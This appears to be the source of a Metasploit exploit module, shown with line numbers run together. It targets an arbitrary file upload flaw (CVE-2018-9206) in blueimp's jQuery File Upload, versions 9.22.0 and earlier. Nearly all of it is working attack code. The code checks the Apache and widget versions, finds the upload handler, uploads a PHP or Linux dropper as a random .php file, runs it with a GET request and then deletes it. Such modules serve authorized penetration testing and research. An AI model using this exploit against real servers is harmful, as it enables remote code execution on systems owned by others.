Path: blob/master/modules/exploits/unix/webapp/jquery_file_upload.rb
32584 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::PhpEXE1112def initialize(info = {})13super(14update_info(15info,16'Name' => "blueimp's jQuery (Arbitrary) File Upload",17'Description' => %q{18This module exploits an arbitrary file upload in the sample PHP upload19handler for blueimp's jQuery File Upload widget in versions <= 9.22.0.2021Due to a default configuration in Apache 2.3.9+, the widget's .htaccess22file may be disabled, enabling exploitation of this vulnerability.2324This vulnerability has been exploited in the wild since at least 201525and was publicly disclosed to the vendor in 2018. It has been present26since the .htaccess change in Apache 2.3.9.2728This module provides a generic exploit against the jQuery widget.29},30'Author' => [31'Claudio Viviani', # WordPress Work the Flow (Arbitrary) File Upload32'Larry W. Cashdollar', # (Re)discovery, vendor disclosure, and PoC33'wvu' # Metasploit module34],35'References' => [36['CVE', '2018-9206'],37['URL', 'http://www.vapidlabs.com/advisory.php?v=204'],38['URL', 'https://github.com/blueimp/jQuery-File-Upload/pull/3514'],39['URL', 'https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206'],40['URL', 'https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/'],41['URL', 'https://github.com/rapid7/metasploit-framework/pull/5130'],42['URL', 'https://httpd.apache.org/docs/current/mod/core.html#allowoverride']43],44'DisclosureDate' => '2018-10-09', # Larry's disclosure to the vendor45'License' => MSF_LICENSE,46'Privileged' => false,47'Targets' => [48['PHP Dropper', { 'Platform' => 'php', 'Arch' => ARCH_PHP }],49['Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64] }]50],51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options([61OptString.new('TARGETURI', [true, 'Base path', '/jQuery-File-Upload'])62])63end6465def version_paths66%w[67/package.json68/bower.json69].map { |u| normalize_uri(target_uri.path, u) }70end7172# List from PoC sorted by frequency73def upload_paths74%w[75/server/php/index.php76/server/php/upload.class.php77/server/php/UploadHandler.php78/example/upload.php79/php/index.php80].map { |u| normalize_uri(target_uri.path, u) }81end8283def check84a = nil8586version_paths.each do |u|87vprint_status("Checking #{u}")8889res = send_request_cgi(90'method' => 'GET',91'uri' => u92)9394next unless res9596unless a97res.headers['Server'] =~ %r{Apache/([\d.]+)} &&98::Regexp.last_match(1) && (a = Rex::Version.new(::Regexp.last_match(1)))99100if a && a >= Rex::Version.new('2.3.9')101vprint_good("Found Apache #{a} (AllowOverride None may be set)")102elsif a103vprint_warning("Found Apache #{a} (AllowOverride All may be set)")104end105end106107next unless res.code == 200 && (j = res.get_json_document) &&108j['version'] && (v = Rex::Version.new(j['version']))109110if v <= Rex::Version.new('9.22.0')111vprint_good("Found unpatched jQuery File Upload #{v}")112return CheckCode::Appears113else114vprint_error("Found patched jQuery File Upload #{v}")115return CheckCode::Safe116end117end118119CheckCode::Unknown120end121122def find_upload123upload_paths.each do |u|124vprint_status("Checking #{u}")125126res = send_request_cgi(127'method' => 'GET',128'uri' => u129)130131if res && res.code == 200132vprint_good("Found #{u}")133return u134end135end136137nil138end139140def exploit141unless check == CheckCode::Appears && (u = find_upload)142fail_with(Failure::NotFound, 'Could not find target')143end144145f = "#{rand_text_alphanumeric(8..42)}.php"146p = normalize_uri(File.dirname(u), 'files', f)147148print_status('Uploading payload')149res = upload_payload(u, f)150151unless res && res.code == 200 && res.body.include?(f)152fail_with(Failure::NotVulnerable, 'Could not upload payload')153end154155print_good("Payload uploaded: #{full_uri(p)}")156157print_status('Executing payload')158exec_payload(p)159160print_status('Deleting payload')161delete_payload(u, f)162end163164def upload_payload(u, f)165p = get_write_exec_payload(unlink_self: true)166167m = Rex::MIME::Message.new168m.add_part(p, nil, nil, %(form-data; name="files[]"; filename="#{f}"))169170send_request_cgi(171'method' => 'POST',172'uri' => u,173'ctype' => "multipart/form-data; boundary=#{m.bound}",174'data' => m.to_s175)176end177178def exec_payload(p)179send_request_cgi({180'method' => 'GET',181'uri' => p182}, 0)183end184185def delete_payload(u, f)186send_request_cgi(187'method' => 'DELETE',188'uri' => u,189'vars_get' => { 'file' => f }190)191end192193end194195196